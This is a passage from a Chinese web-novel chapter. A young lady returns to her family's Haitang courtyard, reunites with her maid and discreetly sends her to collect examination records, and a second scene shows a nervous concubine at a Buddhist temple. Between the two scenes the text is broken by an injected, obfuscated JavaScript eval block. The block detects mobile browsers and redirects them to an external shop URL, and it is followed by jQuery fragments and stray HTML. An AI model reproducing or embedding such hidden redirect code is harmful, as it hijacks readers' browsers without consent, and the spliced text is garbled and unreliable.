“好！”
大夫人有些心疼闺女，忙道：“你的海棠苑一直有人打扫，一应用具都是备好的，你最是熟悉的丫鬟小齐，也一直留在院里。”
“你快些去歇着，府里的事有娘在，你安心便是。”
周清澜点头，向母亲欠身一礼，便转身离去。
……
从松鹤堂告退后，周清澜便沿着熟悉的回廊，缓步走向自己阔别数年的海棠苑。
廊外几株海棠正是花期，几片花瓣落下，沾在她月白的长裙上。
她脚步微微一顿，伸手拂去那片花瓣，指尖触及柔软的花瓣，心底某处也似乎跟着软了一下。
离家太久，连院里海棠开了又谢了几回，她都记不清了。
海棠苑的月拱门就在眼前。
门内。
一个穿着淡绿色的马甲衣，梳着双丫髻的丫鬟，正拿着鸡毛掸子，踮着脚拂拭廊下悬挂的一盏琉璃风灯。
那背影纤细，动作仔细得近乎虔诚。
周清澜立在门边，静静看了一会儿，才轻声开口：“小齐。”
那背影骤然僵住。
鸡毛掸子“啪嗒”一声掉在地上。
丫鬟猛地转过身来……
那是一张圆润秀气的脸，眼睛很大，此刻瞪得滚圆，死死盯着门边那道白衣身影，嘴唇哆嗦着，却发不出声音。
直到周清澜朝她微微一笑，轻唤：“怎么，几年不见，连你家小姐都不认得了？”
“小、小姐……真是小姐！”
小齐终于回过神，眼泪‘唰’地就涌了出来。
她不管不顾地冲过来，却在距离周清澜三步远的地方猛地刹住脚，似乎想起规矩，慌忙着就要跪下：“奴婢、奴婢见过小姐……”
“起来。”
周清澜上前一步，伸手扶住她的小臂，没让她真跪下去，微笑道：“在我院里，不必如此。”
小齐抬起泪眼模糊的脸，仔仔细细地看周清澜，哽咽道：“小姐……您真的回来了……奴婢应该不是在做梦吧？”
“奴婢、奴婢天天都盼着，天天都打扫院子，就想着小姐哪天突然回来，屋里院里都得是干干净净、舒舒服服的……”
她说着，眼泪落的更凶，却咧着嘴笑，又哭又笑的，模样有些滑稽，却让周清澜心头温热。
这是她在京城郡王府，如何都体会不到的。
也只有回到海棠苑，才能感受到。
“傻丫头。”
周清澜取出自己的丝帕，递给她，“擦擦。”
小齐接过帕子，却舍不得用，只胡乱用袖子抹了把脸，眼睛还是始终落在周清澜脸上，道：“小姐……您长高了，也更好看了……跟画里的仙女似的……不对，画里的仙女都没小姐好看……”
“嘴还是这么甜。”
周清澜失笑，拍了拍她的肩，道：“这几年，辛苦你了。我娘说，她对你还算照应？”
“大夫人对奴婢极好！”
小齐连忙道：“月例从没少过，还常让人送些点心衣料来，说小姐不在，更不能亏待了小姐屋里的人……奴婢、奴婢心里都记着呢。”
周清澜点了点头，母亲性子端庄持重，但对待下人向来宽厚，这她是知道的。
她抬步往正房走去，小齐连忙小跑着跟上，一边走一边叽叽喳喳：“小姐您的屋子每天都打扫，被褥三天一晒，窗子每天都开透气……您不在家，夫人也不差遣奴婢其他事，奴婢就尽量维持院子是小姐您走时的模样……”
“对了，小姐您惯用的那套青瓷笔洗和松烟墨，奴婢都收在柜子里，这就去给您拿出来……”
“不急。”
周清澜走进屋内，环视四周。
陈设确实跟她离开的时候一模一样，而且更加洁净。
空气中有淡淡的皂角清香。
窗户明净，连百宝阁上的那盆小文竹都青翠欲滴，显然被精心照料着。
她心中微暖，在临窗的榻上坐下，对小齐道：“辛苦你了，小齐……对了，你先别忙，我有件事要你去办。”
小齐立刻站直，眼睛亮晶晶的：“小姐您吩咐！”
周清澜略一沉吟，道：“你去帮我找一份此次湘南府乡试中举的名单，越详细越好。”
“若能找到前十名……尤其是那位**舞弊的解元宁默履历文章，一并寻来。”
小齐眨了眨眼，脸上忽然浮起两团可疑的红晕，她凑近些，压低声音大：“小姐……您这是……要开始……相看如意郎君了？”
周清澜抬眸，淡淡瞥了她一眼。
小齐立刻缩了缩脖子，但眼睛还是亮晶晶的，小声道：“奴婢听说，这次乡试出了好些年轻才俊呢……小姐您也到了年纪，是该……”
“胡想些什么。”
周清澜轻声打断她，语气并不严厉，说道：“我离京前，义父曾嘱咐，要我多留意地方才俊，尤其是寒门中有真才实学者。朝廷如今有意提拔寒士，平衡门阀，我既回了湘南，自然该多了解一番。”
至于为什么要被斩首的宁默履历和文章，自然是有她的用意。
倘若宁默是真才实学，那么陈家操纵之事就能实锤。
而她也将掌握陈家犯罪的证据。
她顿了顿，目光投向窗外摇曳的海棠花影，道：“况且……父亲病重，周家避免不了风雨飘摇，娘亲独自支撑，心力交瘁，我既回来了，就不能只做个深闺女儿。”
“人才，是家族的根基，现在或许用不上，但将来……或许就是支撑门庭的梁柱。”
她的声音很平静，却透着一股远超年龄的沉稳与远见。
在京城那些年，陪世子读书是表象，在荣郡王府见识到的朝堂风云，门阀倾轧，才是她真正的收获。
她见过太多骤起高楼，也见过太多顷刻坍塌。
眼前的富贵权势，不过是镜花水月。
真正能让一个家族长久屹立的，是人才，是眼光，是能在风雨来临前就布下的棋局。
小齐似懂非懂，但见小姐神色认真，便也收起了玩笑心思，正色道：“奴婢明白了。小姐放心，奴婢这就去想办法，一定把名单和能寻到的文章都给您找来。”
周清澜颔首，提醒道：“小心些，莫要声张。”
“是！”
小齐应下，脚步轻快地退了出去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17267331|198102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
周清澜独自坐在榻上，指尖无意识地捻着袖口细腻的绣纹，不知道在想些什么。
……
与此同时，青莲寺前殿。
沈月茹与柳含烟在知客僧的指引下，于佛前蒲团上跪坐下来。
殿内檀香袅袅，金身佛像宝相庄严，俯视着下方众生。
知客僧双手合十，声音平和地引领：“请二位夫人随贫僧诵念《药师琉璃光七佛本愿功德经》，此经消灾延寿，最为灵验。”
沈月茹连忙垂首，学着僧人的样子合十双手，心中却有些发慌。
她哪里真懂什么礼佛？
上次来，心思全在借种一事上，在佛前不过是装模作样跪了片刻，根本记不住那些繁琐的仪轨和经文。
此刻听着僧人诵出那些拗口的经文，她只能微张着唇，含糊地跟着默念，动作也显得僵硬生涩。
一旁的柳含烟倒是似模似样，阖着眼，嘴唇微动，诵经的声音虽轻，却流畅不少。
她自幼就喜好繁华热闹，对神佛之事原本也不是太过相信，但毕竟是高门贵女，该学的礼仪规矩一样不少。
这礼佛的流程，她幼时随母亲参加法会便学过，所以此刻做来，自然娴熟。
一段经文念诵结束，便需要起身焚香叩拜。
沈月茹跟着起身，但在起身时却微微踉跄了一下，虽然立刻就站稳了，但那片刻的慌乱却被柳含烟看在眼里。
柳含烟侧过头，眼中浮现出一丝疑惑，轻声问道：“妹妹不是前两日才来礼过佛？怎么这礼仪规矩……瞧着还有些生疏？”
沈月茹心头猛地一跳，脸颊微微发热，慌忙垂下眼帘，解释道：“让姐姐见笑了。上次……上次心中只记挂着老爷病情，在佛前只顾着诚心祈祷，倒是没太留心这些规矩次序……是妹妹愚钝。”
她声音越说越低，带着恰到好处的羞愧。
柳含烟将信将疑，还想再问，一旁的主持澄观大师却微笑着开口道：“阿弥陀佛，心诚则灵。沈夫人一片诚心，感天动地，佛祖必能感知。这礼佛规矩本是外在形式，确实繁琐了些，生疏亦是常情。”
老和尚声音温和，让人如沐春风。
沈月茹感激地看了澄观一眼，欠身道：“大师说的是，是妾身着相了。”
柳含烟见状，倒也认为有几分道理，笑了笑道：“妹妹心诚，佛祖自然会保佑老爷的。”
礼佛流程继续。
沈月茹打起十二分精神，仔细观察柳含烟和僧人的动作，小心翼翼地模仿，不敢再有差错。
只是那心底，还是会七、上八下。
她总是忍不住想，此刻宁默在干什么？
是和柳儿、红绡他们在外面等候？
还有……柳儿那丫头……会不会趁机使唤他？
想到宁默那双骨节分明的手，可能会落在柳儿肩上……她心里便莫名地泛起一丝酸意。
但她很快就被自己的这个念头吓了一跳。
沈月茹啊沈月茹，你如今自身难保，生死前程都系于那少年一身，怎还有心思去计较这些细枝末节？
她强迫自己收敛心神，将注意力放回佛前。